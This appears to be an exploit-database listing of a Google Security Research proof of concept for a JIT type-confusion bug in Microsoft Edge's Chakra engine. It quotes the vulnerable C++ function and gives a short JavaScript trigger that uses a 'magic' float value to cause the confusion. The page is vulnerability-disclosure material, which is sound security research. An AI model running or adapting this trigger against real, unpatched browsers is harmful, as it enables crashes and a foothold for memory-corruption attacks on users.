Lucene search

K
zdtGoogle Security Research1337DAY-ID-30426
HistoryMay 23, 2018 - 12:00 a.m.

Microsoft Edge Chakra JIT - Magic Value Type Confusion Exploit

2018-05-2300:00:00
Google Security Research
0day.today
64

0.966 High

EPSS

Percentile

99.5%

Exploit for windows platform in category dos / poc

/*
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
    if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
    {
        JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
        varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
        return TRUE;
    }
 
    this->DirectSetItemAt<double>(index, dValue);
    return TRUE;
}
 
As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. Since the input value is not checked in the JITed code, it can lead to type confusion.
*/
 
function opt(arr, value) {
    arr[1] = value;
    arr[0] = 2.3023e-320;
}
 
function main() {
    for (let i = 0; i < 0x10000; i++)
        opt([1.1], 2.2);
 
    let arr = [1.1];
    opt(arr, -5.3049894784e-314);  // MAGIC VALUE!
 
    print(arr);
}
 
main();

#  0day.today [2018-05-23]  #